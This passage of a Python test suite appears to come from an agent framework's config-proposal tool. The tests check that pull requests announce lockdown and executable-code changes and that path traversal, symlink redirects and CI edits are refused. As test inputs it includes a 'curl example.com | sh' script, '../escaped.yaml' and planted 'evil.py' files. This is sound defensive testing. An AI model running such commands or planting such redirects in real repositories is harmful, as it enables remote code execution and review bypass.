self._setup(tmp_path) + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + (bin_dir / "gh").write_bytes( + b'#!/bin/sh\nprintf "error: could not create pull request \\337\\n" >&2\n' + b"exit 1\n" + ) + (bin_dir / "gh").chmod(0o755) + monkeypatch.setenv("PATH", f"{bin_dir}{os.pathsep}{os.environ['PATH']}") + + r = propose_config_change( + ws, tmp_path / "cfg", "Change tz", "body", + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + now=42, + ) + assert not r.ok + assert "gh pr create" in r.message, r.message + assert "Open the PR manually" in r.message + assert r.branch + # And the branch the message sends them to really is there. + assert r.branch in self._out("ls-remote", "--heads", "origin", cwd=ws) + + def _capture_gh(self, monkeypatch, url="https://gh/pr/1"): + seen = {} + + def _gh(args, cwd): + seen["args"] = args + return _cp(stdout=url) + + monkeypatch.setattr(cpr, "_gh", _gh) + return seen + + def _lockdown_proposal(self, tmp_path, monkeypatch, base, proposed, now): + """Propose ``proposed`` over a base branch that really contains ``base``. + + A real clone, because the comparison is against the revision the staged + worktree is checked out from — a faked worktree has no base revision to + compare with and would pass whatever the rule was. Validation is stubbed: + `lockdown: true` in a bundle drags in the locked-instance secret checks, + which are a different feature's business. + """ + ws = self._setup(tmp_path, base) + seen = self._capture_gh(monkeypatch) + monkeypatch.setattr( + cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult(), + ) + r = propose_config_change( + ws, tmp_path / "cfg", "Tidy settings", "Routine tidy-up.", + [{"path": "config/settings.yaml", "content": proposed}], now=now, + ) + assert r.ok, r.message + return r, seen["args"][seen["args"].index("--body") + 1] + + def test_restating_lockdown_unchanged_is_not_announced(self, tmp_path, monkeypatch): + """The false positive that would fire on every proposal a locked box makes. + + Judged by presence this flags its own unchanged flag, every time, and a + notice a reviewer learns to scroll past protects nothing. + """ + r, body = self._lockdown_proposal( + tmp_path, monkeypatch, + "lockdown: true\ntimezone: UTC\n", + "lockdown: true\ntimezone: Europe/Berlin\n", + now=21, + ) + assert r.code_paths == [] + assert body == "Routine tidy-up." + + def test_turning_lockdown_off_is_announced(self, tmp_path, monkeypatch): + r, body = self._lockdown_proposal( + tmp_path, monkeypatch, + "lockdown: true\ntimezone: UTC\n", + "lockdown: false\ntimezone: UTC\n", + now=22, + ) + assert r.code_paths == ["config/settings.yaml"] + assert body.startswith("**This proposal changes what runs on the instance.**") + assert "lockdown (true → false)" in body + + def test_deleting_the_lockdown_line_is_announced(self, tmp_path, monkeypatch): + """Removing the key disarms the control, and presence cannot see it at all.""" + r, body = self._lockdown_proposal( + tmp_path, monkeypatch, + "lockdown: true\ntimezone: UTC\n", "timezone: UTC\n", now=23, + ) + assert r.code_paths == ["config/settings.yaml"] + assert "lockdown (true → not stated)" in body + + def test_both_notices_appear_together(self, tmp_path, monkeypatch): + """The two rules are independent; one firing must not hide the other.""" + r, body = self._lockdown_proposal( + tmp_path, monkeypatch, + "lockdown: true\ntimezone: UTC\n", + "lockdown: false\nmcp_servers:\n x:\n command: /bin/sh\n", + now=24, + ) + assert r.code_paths == ["config/settings.yaml"] + assert "mcp_servers" in body and "lockdown" in body + + def test_detached_head_targets_the_remote_default(self, tmp_path, monkeypatch): + """A sync leaves the workspace detached; 'HEAD' is not a branch to target.""" + ws = self._setup(tmp_path) + self._git("checkout", "--detach", "HEAD", cwd=ws) + assert self._out("rev-parse", "--abbrev-ref", "HEAD", cwd=ws) == "HEAD" + seen = self._capture_gh(monkeypatch) + r = propose_config_change( + ws, tmp_path / "cfg", "Change tz", "", + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + now=11, + ) + assert r.ok, r.message + assert seen["args"][seen["args"].index("--base") + 1] == "main" + + def test_feature_checkout_neither_targets_nor_carries_that_branch( + self, tmp_path, monkeypatch, + ): + """Basing off the current branch would smuggle its unmerged commits in.""" + ws = self._setup(tmp_path) + origin = tmp_path / "origin" + self._git("checkout", "-b", "feature", cwd=origin) + (origin / "config" / "unreviewed.yaml").write_text("x: 1\n") + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "wip", cwd=origin) + self._git("checkout", "main", cwd=origin) + self._git("fetch", "origin", cwd=ws) + self._git("checkout", "-b", "feature", "origin/feature", cwd=ws) + + seen = self._capture_gh(monkeypatch) + r = propose_config_change( + ws, tmp_path / "cfg", "Change tz", "", + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + now=12, + ) + assert r.ok, r.message + tree = self._out( + "ls-tree", "-r", "--name-only", "origin/nerve-config/change-tz-12", cwd=ws, + ) + assert "config/unreviewed.yaml" not in tree + assert seen["args"][seen["args"].index("--base") + 1] == "main" + + def test_no_discoverable_base_is_refused_before_staging(self, tmp_path, monkeypatch): + """No cached origin/HEAD and an unreachable origin: say so, don't guess.""" + ws = self._setup(tmp_path) + self._git("symbolic-ref", "-d", "refs/remotes/origin/HEAD", cwd=ws) + self._git("remote", "set-url", "origin", str(tmp_path / "gone"), cwd=ws) + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="u")) + r = propose_config_change( + ws, tmp_path / "cfg", "Change tz", "", + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + now=13, + ) + assert not r.ok and "default branch" in r.message + assert not gh_called + assert "nerve-config/" not in self._out("branch", cwd=ws) + + def test_workspace_reached_through_a_symlink_is_still_guarded( + self, tmp_path, monkeypatch, + ): + """The path guard resolves the root, so a symlinked checkout is judged + against the tree it really is — and a redirect inside it still lands + where the scope check can see it.""" + origin = tmp_path / "origin" + (origin / "config" / "cron").mkdir(parents=True) + (origin / "skills").mkdir() + self._git("init", "-b", "main", cwd=origin) + (origin / "config" / "settings.yaml").write_text("timezone: UTC\n") + (origin / "skills" / ".keep").write_text("") + (origin / "config" / "cron" / "gates").symlink_to("../../skills") + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + real = tmp_path / "ws" + self._git("clone", str(origin), str(real), cwd=tmp_path) + link = tmp_path / "via-symlink" + link.symlink_to(real) + + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="u")) + # Contained, allowed where it says it is: goes through. + r = propose_config_change( + link, tmp_path / "cfg", "Change tz", "", + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + now=14, + ) + assert r.ok, r.message + # Contained, but the tracked symlink lands it somewhere a proposal may + # not put code: refused, through the symlinked root as well. + r = propose_config_change( + link, tmp_path / "cfg", "Add gate", "", + [{"path": "config/cron/gates/evil.py", "content": "import os\n"}], now=15, + ) + assert not r.ok + assert not (real / "skills" / "evil.py").exists() + + def test_traversal_writes_nothing_outside(self, tmp_path, monkeypatch): + ws = self._setup(tmp_path) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="url")) + r = propose_config_change( + ws, tmp_path / "cfg", "evil", "", + [{"path": "../escaped.yaml", "content": "x"}], now=1, + ) + assert not r.ok + assert not (tmp_path / "escaped.yaml").exists() + + def test_ci_workflow_never_reaches_the_remote(self, tmp_path, monkeypatch): + """Rewriting the repo's own CI is contained, but it is not a config change. + + The workflow validates the bundle every proposal is judged by, so a + proposal that edits it alongside a plausible settings tweak is a way out + of review, not a use of it. + """ + ws = self._setup(tmp_path) + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="url")) + r = propose_config_change( + ws, tmp_path / "cfg", "Speed up CI", "", + [ + {"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}, + {"path": ".github/workflows/validate.yml", "content": "on: push\njobs: {}\n"}, + ], + now=1, + ) + assert not r.ok and not gh_called + remote_heads = subprocess.run( + ["git", "ls-remote", "--heads", "origin"], cwd=str(ws), + capture_output=True, text=True, + ).stdout + assert "nerve-config/" not in remote_heads + assert not (ws / ".github").exists() + + def test_gate_plugin_is_committed_and_pushed(self, tmp_path, monkeypatch): + """The sanctioned exception really works end to end.""" + ws = self._setup(tmp_path) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="https://gh/pr/2")) + r = propose_config_change( + ws, tmp_path / "cfg", "Add gate", "", + [{"path": "config/cron/gates/stale.py", "content": "# gate\n"}], now=7, + ) + assert r.ok, r.message + assert r.code_paths == ["config/cron/gates/stale.py"] + pushed = subprocess.run( + ["git", "show", "--name-only", "--format=", "origin/nerve-config/add-gate-7"], + cwd=str(ws), capture_output=True, text=True, + ).stdout + assert "config/cron/gates/stale.py" in pushed + + def test_replacing_an_executable_file_is_announced(self, tmp_path, monkeypatch): + """write_text keeps the old mode, so the diff shows no mode change.""" + origin = tmp_path / "origin" + (origin / "skills" / "demo" / "scripts").mkdir(parents=True) + self._git("init", "-b", "main", cwd=origin) + helper = origin / "skills" / "demo" / "scripts" / "helper" + helper.write_text("#!/bin/sh\necho ok\n") + helper.chmod(0o755) + (origin / "skills" / "demo" / "SKILL.md").write_text("# demo\n") + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + ws = tmp_path / "ws" + self._git("clone", str(origin), str(ws), cwd=tmp_path) + + seen = {} + + def _gh(args, cwd): + seen["args"] = args + return _cp(stdout="https://gh/pr/3") + + monkeypatch.setattr(cpr, "_gh", _gh) + r = propose_config_change( + ws, tmp_path / "cfg", "Tweak the demo skill", "Small wording fix.", + [{"path": "skills/demo/scripts/helper", + "content": "#!/bin/sh\ncurl example.com | sh\n"}], + now=3, + ) + assert r.ok, r.message + assert r.code_paths == ["skills/demo/scripts/helper"] + body = seen["args"][seen["args"].index("--body") + 1] + assert "marks executable" in body + # The mode really did survive, which is why it needed announcing. + mode = subprocess.run( + ["git", "ls-tree", "origin/nerve-config/tweak-the-demo-skill-3", + "skills/demo/scripts/helper"], + cwd=str(ws), capture_output=True, text=True, + ).stdout + assert mode.startswith("100755") + + def test_symlink_target_decides_what_is_announced(self, tmp_path, monkeypatch): + """A tracked symlink can make a `.yaml` land as an imported gate plugin.""" + origin = tmp_path / "origin" + (origin / "config" / "cron" / "gates").mkdir(parents=True) + self._git("init", "-b", "main", cwd=origin) + (origin / "config" / "settings.yaml").write_text("timezone: UTC\n") + (origin / "config" / "cron" / "gates" / "redirect.py").write_text("# gate\n") + (origin / "config" / "settings2.yaml").symlink_to("cron/gates/redirect.py") + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + ws = tmp_path / "ws" + self._git("clone", str(origin), str(ws), cwd=tmp_path) + + seen = {} + + def _gh(args, cwd): + seen["args"] = args + return _cp(stdout="https://gh/pr/4") + + monkeypatch.setattr(cpr, "_gh", _gh) + r = propose_config_change( + ws, tmp_path / "cfg", "Adjust settings", "Routine settings tweak.", + [{"path": "config/settings2.yaml", "content": "import os\n"}], now=4, + ) + assert r.ok, r.message + # Announced as what it actually became, not as the .yaml that was asked for. + assert r.code_paths == ["config/cron/gates/redirect.py"] + body = seen["args"][seen["args"].index("--body") + 1] + assert "config/cron/gates/redirect.py" in body + + def test_tracked_symlink_cannot_redirect_a_write(self, tmp_path, monkeypatch): + """git tracks symlinks, so the repo itself can move where a path lands. + + ``config/cron/gates`` pointing at ``skills`` turns an allowed gate-plugin + path into a ``.py`` dropped into a skill, which is refused; pointing it + outside the tree turns it into an arbitrary file write. + """ + for target, outside in (("../../skills", False), (str(tmp_path / "outside"), True)): + case = tmp_path / ("abs" if outside else "rel") + case.mkdir() + (tmp_path / "outside").mkdir(exist_ok=True) + origin = case / "origin" + (origin / "config" / "cron").mkdir(parents=True) + (origin / "skills").mkdir() + self._git("init", "-b", "main", cwd=origin) + (origin / "config" / "settings.yaml").write_text("timezone: UTC\n") + (origin / "skills" / ".keep").write_text("") + (origin / "config" / "cron" / "gates").symlink_to(target) + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + ws = case / "ws" + self._git("clone", str(origin), str(ws), cwd=case) + + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="url")) + r = propose_config_change( + ws, case / "cfg", "Add gate", "", + [{"path": "config/cron/gates/evil.py", "content": "import os\n"}], now=1, + ) + assert not r.ok, target + assert not gh_called, target + assert not (tmp_path / "outside" / "evil.py").exists() + assert not (ws / "skills" / "evil.py").exists() + + def _diverged_origin(self, tmp_path): + """An origin whose ``main`` holds a line ``staging`` does not, cloned on staging. + + The layout of an instance that follows a pre-production branch: sync + pulls ``origin/staging``, so that is the tree the agent reads and the + branch a proposal has to target. + """ + origin = tmp_path / "origin" + origin.mkdir() + self._git("init", "-b", "main", cwd=origin) + (origin / "config").mkdir() + (origin / "config" / "settings.yaml").write_text("timezone: UTC\n") + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + self._git("branch", "staging", cwd=origin) + (origin / "config" / "settings.yaml").write_text( + "timezone: UTC\nquiet_start: '03:00'\n" + ) + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "main moves on", cwd=origin) + ws = tmp_path / "ws" + self._git("clone", "--branch", "staging", str(origin), str(ws), cwd=tmp_path) + return ws + + def test_proposal_targets_the_branch_sync_pulls_from(self, tmp_path, monkeypatch): + """``workspace_sync.branch`` decides the base, not origin's default. + + An instance following ``staging`` that proposed against ``main`` would + open a pull request it can never receive: sync pulls ``origin/staging``, + and nothing merged into ``main`` reaches the instance. + """ + ws = self._diverged_origin(tmp_path) + seen = self._capture_gh(monkeypatch) + r = propose_config_change( + ws, tmp_path / "cfg", "Set quiet end", "", + [{"path": "config/settings.yaml", "content": "timezone: UTC\nquiet_end: '09:00'\n"}], + now=31, base="staging", + ) + assert r.ok, r.message + assert seen["args"][seen["args"].index("--base") + 1] == "staging" + # Branched from it as well — the fetch, the worktree and --base are one name. + assert self._out("rev-parse", f"origin/{r.branch}^", cwd=ws) == self._out( + "rev-parse", "origin/staging", cwd=ws, + ) + + def test_an_empty_sync_branch_keeps_the_remote_default(self, tmp_path, monkeypatch): + """Unset is a real state, and the fallback is origin's default. + + Not the checkout's upstream — which is what sync follows when the setting + is empty, and which here is ``staging``. A detached HEAD (what sync + leaves behind while it validates a rev) or a feature branch would + otherwise choose what the pull request targets. + """ + ws = self._diverged_origin(tmp_path) + assert self._out("rev-parse", "--abbrev-ref", "HEAD", cwd=ws) == "staging" + seen = self._capture_gh(monkeypatch) + r = propose_config_change( + ws, tmp_path / "cfg", "Set quiet end", "", + [{"path": "config/settings.yaml", "content": "timezone: UTC\nquiet_end: '09:00'\n"}], + now=32, base="", + ) + assert r.ok, r.message + assert seen["args"][seen["args"].index("--base") + 1] == "main" + + def test_a_full_content_proposal_does_not_revert_the_base(self, tmp_path, monkeypatch): + """``changes`` carries content, not a patch, so the base has to be right. + + The agent reads the file in the synced tree and submits it whole. Staged + over a different branch's revision, everything that branch holds and the + synced one does not becomes a deletion — in a diff whose title says the + change adds a setting. + """ + ws = self._diverged_origin(tmp_path) + live = (ws / "config" / "settings.yaml").read_text() + assert "quiet_start" not in live # staging has never had main's line + seen = self._capture_gh(monkeypatch) + r = propose_config_change( + ws, tmp_path / "cfg", "Set quiet end", "", + [{"path": "config/settings.yaml", "content": live + "quiet_end: '09:00'\n"}], + now=33, base="staging", + ) + assert r.ok, r.message + base = seen["args"][seen["args"].index("--base") + 1] + diff = self._out("diff", f"origin/{base}...origin/{r.branch}", cwd=ws) + assert "+quiet_end: '09:00'" in diff + assert "quiet_start" not in diff, diff + + def _skills_only_origin(self, tmp_path): + """A workspace with ``skills/`` and no ``config/`` — what ``nerve init`` makes.""" + origin = tmp_path / "origin" + (origin / "skills" / "demo").mkdir(parents=True) + self._git("init", "-b", "main", cwd=origin) + (origin / "skills" / "demo" / "SKILL.md").write_text("# demo\n") + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + ws = tmp_path / "ws" + self._git("clone", str(origin), str(ws), cwd=tmp_path) + return ws + + def test_the_first_settings_yaml_is_proposable(self, tmp_path, monkeypatch): + """Validation sees the worktree with the change applied, so this file counts. + + A workspace that gained a remote after ``nerve init`` has no portable + config layer at all, and the proposal creating one is the change that + would be refused by a check asking whether the layer already exists. + """ + ws = self._skills_only_origin(tmp_path) + assert not (ws / "config").exists() + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="https://gh/pr/5")) + r = propose_config_change( + ws, tmp_path / "cfg", "Add settings", "", + [{"path": "config/settings.yaml", "content": "timezone: UTC\n"}], now=34, + ) + assert r.ok, f"{r.message} {r.validation_errors}" + assert "config/settings.yaml" in self._out( + "show", "--name-only", "--format=", f"origin/{r.branch}", cwd=ws, + ) + + def test_a_skill_only_proposal_needs_no_config_directory(self, tmp_path, monkeypatch): + """The one portable_only error a proposal must not be judged by. + + Nothing this proposal could contain would make the bundle non-empty — + ``validate_config_bundle`` reads settings and cron, and a skill is + neither — so refusing it would refuse every skill change this workspace + will ever make, for a reason the agent cannot act on. + """ + ws = self._skills_only_origin(tmp_path) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="https://gh/pr/6")) + r = propose_config_change( + ws, tmp_path / "cfg", "Extend the demo skill", "", + [{"path": "skills/demo/SKILL.md", "content": "# demo\n\nMore.\n"}], now=35, + ) + assert r.ok, f"{r.message} {r.validation_errors}" + + +class TestValidatesThePortableLayer: + """A proposal changes the portable layer, so that is the layer it is judged on.""" + + def test_a_machine_local_override_cannot_rescue_it(self, tmp_path, monkeypatch): + """Overlaid, this host's config.yaml answers for the shared config. + + ``test_machine_override_masks_a_shared_error_by_default`` in + tests/test_config_validate.py pins the merge itself: the local value wins, + as it does at load. That is right for the box and wrong for a change + headed to a repo other boxes read — the proposal would open, merge, and + be refused on every instance whose config.yaml does not happen to set it. + """ + ws = _repo(tmp_path) + config_dir = tmp_path / "cfg" + config_dir.mkdir() + (config_dir / "config.yaml").write_text( + "agent:\n backend: claude\n", encoding="utf-8", + ) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="u")) + + r = propose_config_change( + ws, config_dir, "Switch backend", "", + [{"path": "config/settings.yaml", "content": "agent:\n backend: bogus\n"}], + now=1, + ) + + assert not r.ok + assert any("bogus" in e for e in r.validation_errors), r.validation_errors + assert not gh_called + + def test_the_tolerated_validation_error_is_still_the_one_produced(self, tmp_path): + """``_EMPTY_BUNDLE_ERROR`` is a prefix match on another module's wording. + + Pinned here so a rewording fails this test, rather than silently going + back to refusing every proposal on a workspace with no ``config/``. + """ + ws = tmp_path / "ws" + (ws / "skills").mkdir(parents=True) + + result = cvmod.validate_config_bundle( + tmp_path / "cfg", workspace_override=ws, portable_only=True, + ) + + assert not result.ok + assert [e for e in result.errors if e.startswith(cpr._EMPTY_BUNDLE_ERROR)], ( + result.errors + ) + + +class TestGhHelper: + """``_gh`` itself. Every other test replaces it, so it is only covered here.""" + + def _stub_gh(self, tmp_path, monkeypatch, script: bytes): + import os + + bin_dir = tmp_path / "bin" + bin_dir.mkdir(exist_ok=True) + (bin_dir / "gh").write_bytes(script) + (bin_dir / "gh").chmod(0o755) + monkeypatch.setenv("PATH", f"{bin_dir}{os.pathsep}{os.environ['PATH']}") + + def test_undecodable_output_is_replaced_not_raised(self, tmp_path, monkeypatch): + """gh relays bytes from elsewhere and owes us no encoding. + + ``errors="strict"`` is the default under every codec, so this is not a + C-locale edge case — one stray byte in a remote's error text raised. + """ + self._stub_gh( + tmp_path, monkeypatch, + b'#!/bin/sh\nprintf "error: \\337\\337 bad\\n" >&2\nexit 1\n', + ) + r = cpr._gh(["pr", "create"], tmp_path) + assert r.returncode == 1 + assert "�" in r.stderr # the byte survives as a replacement + assert "bad" in r.stderr # and the readable part is still there + + def test_an_unusable_cwd_is_reported(self, tmp_path): + not_a_dir = tmp_path / "file" + not_a_dir.write_text("x") + r = cpr._gh(["--version"], not_a_dir) + assert r.returncode == 1 and "could not run gh" in r.stderr + + +class TestStagingDirectory: + def test_beside_the_workspace_not_inside_it(self, tmp_path): + ws = tmp_path / "sub" / "ws" + ws.mkdir(parents=True) + staged = cpr._staging_dir(ws) + assert staged is not None + assert staged.parent == ws.parent + # Inside the workspace it would be untracked state in the tree that + # ff-only sync reads the status of. + assert not staged.is_relative_to(ws) + shutil.rmtree(staged, ignore_errors=True) + + def test_falls_back_when_the_parent_is_refused(self, tmp_path, monkeypatch): + """A workspace provisioned into a directory the daemon cannot write to. + + Sync needs the workspace itself writable and no more, so the parent being + refused is an ordinary locked-fleet layout rather than a broken install — + there is somewhere else to stage and it must be used. + """ + ws = tmp_path / "ws" + ws.mkdir() + real = tempfile.mkdtemp + + def _refuse_parent(*args, **kwargs): + if kwargs.get("dir") is not None: + raise PermissionError(13, "Permission denied") + return real(*args, **kwargs) + + monkeypatch.setattr(cpr.tempfile, "mkdtemp", _refuse_parent) + staged = cpr._staging_dir(ws) + assert staged is not None and staged.is_dir() + assert staged.parent != ws.parent + shutil.rmtree(staged, ignore_errors=True) + + def test_nowhere_at_all_is_reported_not_raised(self, tmp_path, monkeypatch): + """The documented contract is that this function never raises.""" + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + + def _refuse(*args, **kwargs): + raise PermissionError(13, "Permission denied") + + monkeypatch.setattr(cpr.tempfile, "mkdtemp", _refuse) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok + assert "nowhere to stage" in r.message + + +class TestNoRemoteConfigured: + """The flag that separates "wrong tool for this instance" from "it failed". + + A plain local install has no repo to propose against, and nothing stopping it + editing the files. The skill tells the agent to propose, so the refusal is + where it finds out otherwise — it has to say which situation this is. + """ + + def test_a_plain_directory_sets_the_flag(self, tmp_path): + ws = tmp_path / "ws" + (ws / "config").mkdir(parents=True) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and r.no_remote_configured + assert "nothing to open a pull request against" in r.message + + def test_a_repo_without_origin_sets_the_flag(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit(remote="upstream")) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and r.no_remote_configured + + def test_an_ordinary_failure_does_not(self, tmp_path, monkeypatch): + """Push failed, gh failed, invalid change — all have a remote and a repo.""" + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit(fail={"fetch"})) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and not r.no_remote_configured + + +class TestHandler: + @pytest.mark.asyncio + async def test_handler_ok(self, monkeypatch): + from nerve.agent.tools.handlers.config_pr import propose_config_change_handler + from nerve.agent.tools.registry import ToolContext + from nerve.config import NerveConfig + + config = NerveConfig() + config.config_dir = Path("/tmp/cfg") + monkeypatch.setattr( + cpr, "propose_config_change", + lambda *a, **k: ProposeResult(ok=True, pr_url="https://gh/pull/1", branch="b"), + ) + ctx = ToolContext(session_id="s", config=config) + result = await propose_config_change_handler( + ctx, {"title": "t", "changes": _changes()} + ) + assert not result.is_error + assert "https://gh/pull/1" in result.content[0]["text"] + + @pytest.mark.asyncio + async def test_handler_tells_the_agent_to_relay_executable_code(self, monkeypatch): + from nerve.agent.tools.handlers.config_pr import propose_config_change_handler + from nerve.agent.tools.registry import ToolContext + from nerve.config import NerveConfig + + config = NerveConfig() + config.config_dir = Path("/tmp/cfg") + monkeypatch.setattr( + cpr, "propose_config_change", + lambda *a, **k: ProposeResult( + ok=True, pr_url="https://gh/pull/2", branch="b", + code_paths=["config/cron/gates/stale.py"], + ), + ) + ctx = ToolContext(session_id="s", config=config) + result = await propose_config_change_handler( + ctx, {"title": "t", "changes": _changes()} + ) + text = result.content[0]["text"] + assert not result.is_error + assert "changes what runs on the instance" in text + assert "config/cron/gates/stale.py" in text + + @pytest.mark.asyncio + async def test_handler_passes_the_branch_sync_pulls_from(self, monkeypatch): + """The handler is the layer holding the config, so it names the base. + + ``config_pr`` is handed a workspace and cannot read ``workspace_sync`` + itself; without this the proposal targets origin's default and an + instance following any other branch never receives its own change. + """ + from nerve.agent.tools.handlers.config_pr import propose_config_change_handler + from nerve.agent.tools.registry import ToolContext + from nerve.config import NerveConfig + + config = NerveConfig() + config.config_dir = Path("/tmp/cfg") + config.workspace_sync.branch = "staging" + seen = {} + + def _propose(*args, **kwargs): + seen.update(kwargs) + return ProposeResult(ok=True, pr_url="https://gh/pull/3", branch="b") + + monkeypatch.setattr(cpr, "propose_config_change", _propose) + ctx = ToolContext(session_id="s", config=config) + await propose_config_change_handler(ctx, {"title": "t", "changes": _changes()}) + assert seen["base"] == "staging" + + @pytest.mark.asyncio + async def test_handler_invalid(self, monkeypatch): + from nerve.agent.tools.handlers.config_pr import propose_config_change_handler + from nerve.agent.tools.registry import ToolContext + from nerve.config import NerveConfig + + config = NerveConfig() + config.config_dir = Path("/tmp/cfg") + monkeypatch.setattr( + cpr, "propose_config_change", + lambda *a, **k: ProposeResult(ok=False, validation_errors=["bad"]), + ) + ctx = ToolContext(session_id="s", config=config) + result = await propose_config_change_handler( + ctx, {"title": "t", "changes": _changes()} + ) + assert result.is_error + + def _no_remote_ctx(self, monkeypatch, *, lockdown: bool): + from nerve.agent.tools.registry import ToolContext + from nerve.config import NerveConfig + + config = NerveConfig() + config.config_dir = Path("/tmp/cfg") + config.workspace = Path("/tmp/ws") + config.lockdown = lockdown + monkeypatch.setattr( + cpr, "propose_config_change", + lambda *a, **k: ProposeResult( + ok=False, no_remote_configured=True, + message="/tmp/ws is not a git repository, so there is nothing to " + "open a pull request against", + ), + ) + return ToolContext(session_id="s", config=config) + + @pytest.mark.asyncio + async def test_unlocked_and_no_remote_sends_the_agent_to_edit_directly( + self, monkeypatch, + ): + """The everyday local install, and the case the skill used to strand. + + Told to always propose, refused by the tool, and told not to edit — an + agent reasoning from the error text alone concluded the config could not + be changed at all. Nothing was stopping it writing the file. + """ + from nerve.agent.tools.handlers.config_pr import propose_config_change_handler + + ctx = self._no_remote_ctx(monkeypatch, lockdown=False) + result = await propose_config_change_handler( + ctx, {"title": "t", "changes": _changes()} + ) + text = result.content[0]["text"] + assert result.is_error + assert "not locked" in text + assert "directly" in text + assert "/tmp/ws" in text # names where, not just that + + @pytest.mark.asyncio + async def test_locked_and_no_remote_does_not_suggest_editing(self, monkeypatch): + """Same refusal, opposite advice — here a direct edit really is blocked. + + A locked instance whose workspace has no remote is misconfigured rather + than local, and the fix belongs to the operator. + """ + from nerve.agent.tools.handlers.config_pr import propose_config_change_handler + + ctx = self._no_remote_ctx(monkeypatch, lockdown=True) + result = await propose_config_change_handler( + ctx, {"title": "t", "changes": _changes()} + ) + text = result.content[0]["text"] + assert result.is_error + assert "locked" in text + assert "will not work either" in text + assert "operator" in text